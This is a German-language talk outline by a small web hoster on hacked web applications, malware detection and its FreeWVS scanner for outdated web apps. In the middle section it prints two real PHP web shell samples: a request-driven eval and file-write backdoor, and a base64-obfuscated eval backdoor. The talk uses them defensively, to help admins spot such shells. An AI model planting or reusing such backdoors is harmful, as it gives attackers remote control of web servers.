Gehackte Webapplikationen und Malware

Hanno Böck, Lizenz: CC0 / Public Domain

2014-04-11

- Betreibe kleinen Webhoster (schokokeks.org), Fokus auf Datenschutz, Sicherheit, freie Software
- Zahlen: 2 Admins, ca. 300 Kunden, 1000 Domains, 1500 Web-Vhosts, 500 erkannte Webanwendungen
- Serverbetrieb für mich Nebenverdienst, hauptberuflich freier Journalist

Your IP: x.x.x.x - Part of Ababil/"No Problem Bro" DDOS attack

We are contacting you on behalf of [...]. They are currently under a DDOS attack, that is being perpetuated from this host on your network: x.x.x.x

They have so far seen this much traffic coming from the node: 107576316 bytes 1453734 packets

This is part of the Operation Ababil, or "It's OK, No Problem Bro", DDOS attack that is being sent upon various financial institutions in the United States.

- Gehackte Webanwendungen bedeuten Streß - nicht nur für den Betreiber der Seite, sondern insbesondere auch für den Admin
- Serverlast steigt unerklärlich
- Spam-Blacklisten
- Übergeordneter Provider beschwert sich und erwartet Reaktion
- Strafverfolgungsbehörden (bei uns noch nie passiert)
- Brauchen Strategien für ganzen Server, nicht für einzelne Webseiten

- Konkretes Beispiel war ein Joomla 1.7.0, damals ca. 1 Jahr alt
- Derartige Vorkommnisse verstärkt seit etwa 2012, davor fast nie
- Alle(!) derartigen Ereignisse bei uns mit hoher Wahrscheinlichkeit aufgrund von veralteten Webanwendungen
- Fazit: Updaten bevor etwas passiert ist die beste Strategie

- FreeWVS erkennt Webanwendungen und Version auf Dateisystemebene
- Enthält eine Datenbank mit jeweils letzter Sicherheitslücke (wenn möglich CVE, sonst URL) und sicherer Version
- Unterscheidet nicht nach schwere der Sicherheitslücke, betrachtet nur jeweils jüngstes Problem
- Python, freie Software (CC0)
- https://source.schokokeks.org/freewvs/

- Es gibt keine allgemeingültige Strategie zum Erkennen von Webapps
- Versionsnummer nicht im Tarball, nur in Doku, nur gesplittet
- Seltsame Versionsnummernkonzepte (DokuWiki: 2013-12-08, auch schon gesehen: 1.2 neuer als 1.11)
- Oft unterschiedliche Erkennungsstrategien für unterschiedliche Major-Versionen
- Angenehm ist sowas: $wp_version = '3.8.2';

- User können sich wahlweise täglich, wöchentlich oder monatlich informieren lassen
- Nicht abschaltbar!
- Problem: Wird häufig ignoriert
- Vielen Usern nicht klar dass Webanwendungen betreut werden müssen

- Bislang fast nur intern entwickelt, wenig Feedback von extern
- Update-Mechanismus nicht optimal (im Moment: svn up; make install)
- Könnten viel mehr Webanwendungen aufnehmen, insbesondere Plugins
- Patches welcome!

- Früher: Webdesigner erstellt HTML-Seite
- Zwischendurch: Webdesigner erstellt PHP
- Heute: Webdesigner erstellt Theme für einfach zu bedienende, kostenlose Webanwendungen
- Problem: Wer kümmert sich um Updates? Oft: Niemand
- Lösung manchmal: HTML-Dump von CMS

- Bei uns bislang keine Defacements via SQL-Injection oder geklauten Zugangsdaten beobachtet (wir benutzen schon immer SFTP)
- Nur: Spam, DDoS-Attacken und (am häufigsten) abgelegte PHP-Shells
- Oft: Grund für Angriff unklar, PHP-Shell "für später"

```
$huqcyw = "77756459393bc96823bdf64b6f221d5";
if(isset($_REQUEST['epji'])) { $kumwnkyc = $_REQUEST['epji'];
eval($kumwnkyc); exit(); } if(isset($_REQUEST['qfwdstnd'])) {
$rpjvrsf = $_REQUEST['wuefsoa']; $kopi =
$_REQUEST['qfwdstnd']; $mzwjcpc = fopen($kopi, 'w'); $sshhbcz
= fwrite($mzwjcpc, $rpjvrsf); fclose($mzwjcpc); echo $sshhbcz;
exit();
```

```
eval ( base64_decode ("IGlmICggaXNz-
ZXQoICRfQ09PS0lFWydkd2MnXSkgKSB7IGVjaG8gJzxjd2Q+
JyAuIGdldGN3ZCgpIC4gJzwvY3dkPic7IH0gaWYgKCBpc3NId
CAoICRfUE9TVFsncGU4MCddICkgKSB7IGV2YWwgKCBiYXNlNj
RfZGVjb2RlICggJF9QT1NUWydwZTgwJ10gKSApOyByZXR1cm4
7IH0gIGlmICggaXNzZXQoICRfQ09PS0lFWydwZTgwJ10pICkg
eyBldmFsICggYmFzZTY0X2RlY29kZSAoICRfQ09PS0lFWydwZ
TgwJ10gKSApOyByZXR1cm47IH0g") ); }
```

- Kombinationen aus eval, gzinflate, base64_decode und ähnlichem
- Problem: Oft auch sowas in legitimem PHP-Code (oft Themes) als Code-Obfuscation
- Decodieren: eval durch echo ersetzen

- Webroots mit ClamAV scannen - erkennt viel, aber längst nicht alles
- LinuxMalwareDetect (maldet) - etwas umständlich in der Bedienung, aber erkennt einiges
- Auch einige proprietäre Virenscanner für Linux verfügbar, kostenlos meist nur zum privatgebrauch
- Problem: Erkennungsrate praktisch immer unter 50 %
- Erstes Codebeispiel von vorhin: damals 0 auf Virustotal, jetzt 1/51

- Strategien zur generischen Erkennung von PHP-Shells? Sollte nicht zu schwer sein, kenne aber keine Software.
- Wie / an wen Malware am besten reporten?
- Erkennen von Hacks in Form von Datenbankeinträgen / Artikeln / Defacements?

- Wenn ihr Webanwendungen programmiert: Benutzt Prepared Statements und Content Security Policy!
- Konsequent eingesetzt verhindern Prepared Statements **alle** SQL-Injections und Content Security Policy **alle** Cross Site Scripting-Fehler - Großteil aller Web-Vulnerabilities
- Fehlerklassen verhindern statt einzelne Fehler
- Aber: Hätte in meisten Fällen bei uns vermutlich nichts genützt (Probleme mit File Upload oder Remote Code Execution)

Schlussfolgerung

- Ein Großteil der Angriffe lässt sich durch aktuelle Software verhindern
- Angriffe verhindern ist immer besser als Angriffe später erkennen
- Möglichkeiten angegriffene Webseiten zu finden unzuverlässig und unbefriedigend